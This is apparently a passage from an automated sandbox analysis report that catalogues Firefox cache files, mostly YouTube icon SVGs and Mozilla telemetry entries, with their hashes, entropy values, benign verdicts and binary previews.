Preview:	..........M.Oo.@.....;....P/...]..).Q..O.&M.`.1o..LX..#=..xo.~..ou.,././.cm..5*...~..~.~.o....Tc...e....t.z>u....T...t....^]wSO@\|.l.V..(.d.!sW...y.E+..o%..Y..`.R..g.@........c.J...(t.h..{2.3R1...Z.a.U.3...v..'G.u@..\.....g%......L."2......2%R&(.... .$....&.....rF...\..zuK[I....}V.zU..../D$.........5.........e.dqe.dqFv..g.X....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/bell/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\829E7ED1D565E625B686D557CD97C2C615F536A4

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3204448256
Category:	dropped
Size (bytes):	9605
Entropy (8bit):	6.169604097708509
Encrypted:	false
SSDEEP:	192:ehChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlENbENhp:DzwHUL75Vf8eehqrufWWCt2BVlQbQz
MD5:	7E9C57B2ECE9836025D3C922D602B4CC
SHA1:	E5A4763038183776B28394A825961D350505F6B6
SHA-256:	7895F50D940818BA2D6C56C656272F4459A7927F35C5CBB0576BE8B2D1D580D0
SHA-512:	4D013A704B7E59D83DD7F85C38FE2876F053B16EF52966EDAFADC8F7E93BCBDD6349738D4824A89E99FE96E3ABC85EB0B5D71F5245587BD87DA6B180B76EB63D
Malicious:	false
Reputation:	unknown
Preview:	..........M.;..0.D.b._{1...(Rq.z....'...r..T.N1.{.m.......'.W)C.".b{.R!...gv...B....k{.C.W...S:.3..H..g..............9bqbI..Bk.1#.h..h..).i.....9..-..H...,L..2Q$...6A...9...e]._._............l........e.dqe.dqFv..g.z....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/home/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\85A7F3676EF0428E8CFA63B19E1998E9BA039907

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	47806
Entropy (8bit):	7.7759524131801125
Encrypted:	false
SSDEEP:	768:tDdNMrZNLGPUolUHxoNts7cXrDInRGBRTT0qKlzxKTwgdjAudZNL28eehq4w2BVv:tJyFwaxo8c4RG7UqKJx0wvRaBw2Xv
MD5:	3390C95FDAAFAAE06070F950F48FD56C
SHA1:	41D5F8770A0CAF9C1A5F556C4BB22F92C894E3DA
SHA-256:	5E248BAD3D552174FE0F19350CF46611CA2720CEABF18CEA06AC5B7DBFF894A6
SHA-512:	5A0A8DA8DA08A8C80B94BFC6FCC8F9961FD20253D92885B04D99F351DB33029FB4069568A9F7CE3C940C52B2D1F79BD3B6A991411EED0F376BFC4717DEB13E0B
Malicious:	false
Reputation:	unknown
Preview:	..}.....@...'.....D)...... Uq/.B..w.... #%..d.Y.M.....a/.A..h);L^...DI....}. (\|.k!7..G...A9.)..X.8N>,B.8.._.o}...U..L...\|d.(....D...=.4cw........N...c....z.c4...>..s.}M.......!....$.H....{......P...Y.$Xu..(........z........2z.../....5i..;..e..%..vyH.....~.....o..d[..d......."...@f.^.}}_..r.\..Z];....8...3..7...W?..._....\|...q_9oH..U..i..z.@......T.V.I(.b..;.....!s.. (.'J.>.]\|.r.O..~.Rj...U...Mtm.!.a(cD..../S?.\..nP....O.....h........]...Z.:.3.@..$5C._g$..^.B%4.. .D..4...&eJv^9/.Z..7./}.t...C...T...p`>X.........n-...s..S..A....\_Zw..c>.R/.)]]..N.....u{RZ...\...R.j...]w......qTk,gZ.9......5Vb/....4AD.Y..P/].......!..B......V......Wlc..T.3Y...w..l.@...gl..]5%"<B.....[....u...O....d.~...<......q...^U...@]....\|.q4....='..P?.=.\.n?:....8.... .A.X~E..n..\|..u...(l.2.}...?u......P...;y...!...c......9.L..;fk.......OOd.^.....Yb........f...V...,..x..wHX.Ac...CTP.A~3.X..&~,./..G.s..d.].....8.6......h.i..C8.dYp......O.M......./C....K.....N..J...\`

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\87C7063C3FCDC53AE192720F0AD15011F2640A91

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	8044
Entropy (8bit):	6.036466586790864
Encrypted:	false
SSDEEP:	192:uJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpoc:uJxVHydO49aAfU2LkAc7
MD5:	2F07EFFC5820D53F032A9EAB76609327
SHA1:	CB2E5F99EA0F8A76B8A47A4F499920524B5FE554
SHA-256:	524F7FEE425BB94D108CAD2953E8136951F1D7B012272AAE0B4DE11BD60429C0
SHA-512:	B72813483BA50C8BA91598072733DFF24ED676E3219E65F06E6B39BE85E4BA04F8B0B4D753D3E2B910CDA3535A9F0337050677FFD18218244897464DB0FDEC2E
Malicious:	false
Reputation:	unknown
Preview:	.dU#........e.dNe.dOFv..e.dO...z....a,~1705534506,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/newtab/1/ef389260-b0e9-43df-b1b9-745ffc85ea47.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC4dC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8A9583CA92AFF8C00A8B59EE536411DEEEEF196E

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2550136832
Category:	dropped
Size (bytes):	9579
Entropy (8bit):	6.156587769952266
Encrypted:	false
SSDEEP:	192:2hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEuE/:7zwHUL75Vf8eehqrufWWCt2BVlNM
MD5:	44430FC0CBA2524DE35D920BE6DCBB34
SHA1:	1A4C50B323CFCB32EA6E7246E9085A1334545191
SHA-256:	240342548EC7EEDB885BF2F6C46250A6A124D4F6415DBC87A2F0C11FCC49FE63
SHA-512:	D32D2E850E326F1ABECA6281516916CFA55D5FC359DC495A368DF4914BEBC6715DC04268E7BE2337C2FD4B83DE6F6B7088C47DE05C6839037B7C7768EADB841D
Malicious:	false
Reputation:	unknown
Preview:	..........M.1..0........QS5-.......#.!.._oqrx....<....i\|..%..u..u5.z.D...A.....-B..\|.....l....F.../.(..\|0..s2..t...p.....>...d..:....Q7..n.T.$.........+.........e.due.duFv..g.+....u....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/list_play_arrow/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8AC8DF4742A5D3BD198EF17DEAE337BE3FD73776

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2936012800
Category:	dropped
Size (bytes):	9606
Entropy (8bit):	6.167771713808919
Encrypted:	false
SSDEEP:	192:jhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE+Ei:AzwHUL75Vf8eehqrufWWCt2BVlhl
MD5:	2B9F315E8484B3345F7E646481CD69CA
SHA1:	EC42BE4CED1A3E28F46AF67E75E43054976860CB
SHA-256:	7A5CD270ABE44735F57ABB37C0BD82EA225339D1DC01A5DA9DF871AE32076272
SHA-512:	7F39B959921F67E57F8E8DD6229B30AB86480BFD4F83B784E5EFE0E9AE9DFAE958AEB0874C7B0AD200BAAEDD275BA533FD0658B0C4EBCB7934302C61B6F3CF7D
Malicious:	false
Reputation:	unknown
Preview:	...............0.._%..4.1.....C..s.Z...g..........R..u.?.F..\|..{O>...K..rS .n..2.e..eZ520....C..~........%...N.....r..H..K....k.K..}x#.0........"......BYW.I...E.@L......y.........e.due.dvFv..g.%p...y....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/overflow_horizontal/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8AE1DEB2D137C2A2F9C28AE21A6BDAD31C68A8D9

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2181103616
Category:	dropped
Size (bytes):	9802
Entropy (8bit):	6.277687344765254
Encrypted:	false
SSDEEP:	192:LhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVBE7yE7w:ozwHUL75Vf8eehqrufWWCt2BVBayaw
MD5:	4F4AFEF617F348C74DFC522FA9C24BDC
SHA1:	A453DDED95A864442EE491361609CF4652D5AA6D
SHA-256:	7C95BB898B0E7953CB05FF744FE04C093DC7F5CD8D14AC649A996FB972B80A77
SHA-512:	EC78FD8BE58299484C0717DCFEDC49DDAC0C07B72E60F4740E677F656F4A28A84480A2127942D0DB94CF0FAFC709161D3AB42944E8C55F55A21EE58BDD20B407
Malicious:	false
Reputation:	unknown
Preview:	..........L..."=.._...N...p..\.....,.....<..s.Kwd;..JY..>....f.<....V.<c6<>.+M)...<......m..y.x...7..4S.D.I.@...\|yn.8O.....s3.....eio.....a'.......$.')h.TH.TFv6.;;.'..!. U..B.U.:..b...B....V....Y.eR4gA-...`X#..Fi.........N....V.?...4..R~.......Gk.(....Y.9...9C.....{X.....F.sF....1....../..A+y............W..u.B.h.$.....)..m.....Pg.......5..@k.5...x..?.....RZ..C...\|$E...........e.dqe.dqFv..g.(....j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/fire/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8B33B0F2A1732E0907AE80946371FD89A38C25BE

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2835349504
Category:	dropped
Size (bytes):	9582
Entropy (8bit):	6.167007587274688
Encrypted:	false
SSDEEP:	192:JESlhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEPE1/:JyzwHUL75Vf8eehqrufWWCt2BVl0y
MD5:	19D4C5CC52D1AB9B5118149567893E3C
SHA1:	A563A46A549216D74FA5885D75BDD54EDE35BF69
SHA-256:	AC479CF00AA017B22C18739E656C1D69C9B3696CD6D23A91FAAAA84568F5FA8A
SHA-512:	C091FB3625D370371213041A63144DACD555D8F6A1A40273443A18CC57C97C2EA4284B0DCF089C98356B3557206DF8114DAFE462FAFDB6A23C9DEC5FB960C6E8
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.._..{...A....W. MK.B.v.Oo.df......'.k.....r......z....l.q..'G.........."Y...n.!.8r..^.....qH..V/]..\|..Z..`.....Y.....U.*S.h...........+........zr.y)........e.dqe.dqFv..g..O...g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/home/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGD

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8C6F11CBE3CE399118F0B2BF3995645C907F91B8

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8046
Entropy (8bit):	6.038188727162549
Encrypted:	false
SSDEEP:	192:fJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpoc:fJxVHydO49aAfU2LkAc7
MD5:	464FF4195EF7C8A8B520BD2ED69BAD0D
SHA1:	946BBDEF4F9A3156E932C693BDF4E291CF23A746
SHA-256:	E9485EA1C668EDF1B18E9C408DA382138B655123ED8FF2E851AE730A01439E56
SHA-512:	4817E033481FA99AAC24CAB1A2CD63044D2AFF94E3AC333BC10000C73B854C0D3B944D202E04933B058352B4F827E8ACD465969008F313FAC6CE0037CA3669F5
Malicious:	false
Reputation:	unknown
Preview:	}M;.........e.dOe.dOFv..e.dO...\|....a,~1705534507,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/baseline/1/137d78ac-f803-47ba-aeb6-e12b2746df19.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC4

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\8DD0F8DB0CEF04E037617212B58EC6B8D4BAB207

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2969567232
Category:	dropped
Size (bytes):	9599
Entropy (8bit):	6.162570015921966
Encrypted:	false
SSDEEP:	192:J6hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEJEp:hzwHUL75Vf8eehqrufWWCt2BVl6a
MD5:	B0BC3EA5E06E33F6C3809A00673125DD
SHA1:	FB94594E8024EE2000D0BF45ED013FDB14FD6488
SHA-256:	71FE9CABC102CB90F7EFD380CD4AB9372EA90716B0B013161F7FD9405F92DF06
SHA-512:	E4830868C3C016DBD04236FC29D869B77787628FC9FF0E543078E034C240CED5F18B0620364BD89E6ED974838ECE7F376ED28586498A7C8B6445A48CF52A5F1C
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.._e.=.G.i1.z..w[CV.Q4M.o...\|.2..,...6M....X.1.y6..I.9K...u...g.z.u..^.g".$Y$.@3X...9.&..].?........y...!9.M...c. ...l.(.1.....<.1.i.e.(x.....9....u....... (.v.........e.due.dvFv..g.*....p....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/subscriptions/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3Ygs

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\9192EF0206996FD3CBEE26DC0041069F01E4AA74

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4143972352
Category:	dropped
Size (bytes):	9665
Entropy (8bit):	6.206966564808672
Encrypted:	false
SSDEEP:	192:2ThChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE61sE61g:9zwHUL75Vf8eehqrufWWCt2BVldsdg
MD5:	932F356BC746F883745E7E16C4C1DAB8
SHA1:	ABA1192D93A6AAFBEFBCBE4D4D7D4B2787E4428D
SHA-256:	60DD25F8E96E70171D88CE13FED90C5EA7AD23667E621561986059AFB931897D
SHA-512:	E4545CCA4D3C68C7D257E8D6359A714FD812763EED8042CB1D32B699995DC036414FE1CB2DBF372056D7002D40F261864F1BC23CBD97D8B2B5955C0E42371987
Malicious:	false
Reputation:	unknown
Preview:	..........MP.n.@....w../.......;I..J!J(....T.....g.rs.G....{+.]_."....z.....oH1,.i...?....{..r..@....4.....^.G+...t...k....[..".v'\|..DOq...2...3.7.jw...R..%..SN..;k._).....q:.......>....L.A.".+V.R.....q.u:..q.".2.T.....).....~.[u.8...U.H#..........e.due.dvFv..g.%p...l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/thumb_up/v17/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBgg

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\953DC40B3D4543FF21CAD0E01B081EBB46362B01

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3590324224
Category:	dropped
Size (bytes):	9642
Entropy (8bit):	6.184001519706715
Encrypted:	false
SSDEEP:	192:dHhhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEUIEUf:dqzwHUL75Vf8eehqrufWWCt2BVlPIPf
MD5:	7141BB3DEDADF08B772898B1E6BC93BA
SHA1:	199E63C5B0F5B74C50E330AF589E0349DE7B75CB
SHA-256:	75B60491296CBA7457AC8DC1E272CF5BD6F8BF7E963E6EE8A8C0414B7BFE2099
SHA-512:	9CBB0CDEC7E785A246CFA2903BD958E90112087BD098E8E22EF29A8E6AF48D4F75903A9D1B8C5CA3E35518E7E883E718C494AD8FE4029C42A7EF6CD317341150
Malicious:	false
Reputation:	unknown
Preview:	..........=OMo.0..+Q.I.MS..N..k.tD.-@U2.._VM.}x_~...'q_...b...I).z.M...09!..y..J(...w...p.^]....}..i.I.y..."..>.n.V..R.y......I..\|...H..........+.FB....#[ [.r..Ot.3....#n..2f.. .\eG=.[.p>.u.i.........M....".............e.due.dvFv..g......v....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/video_camera_add/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf

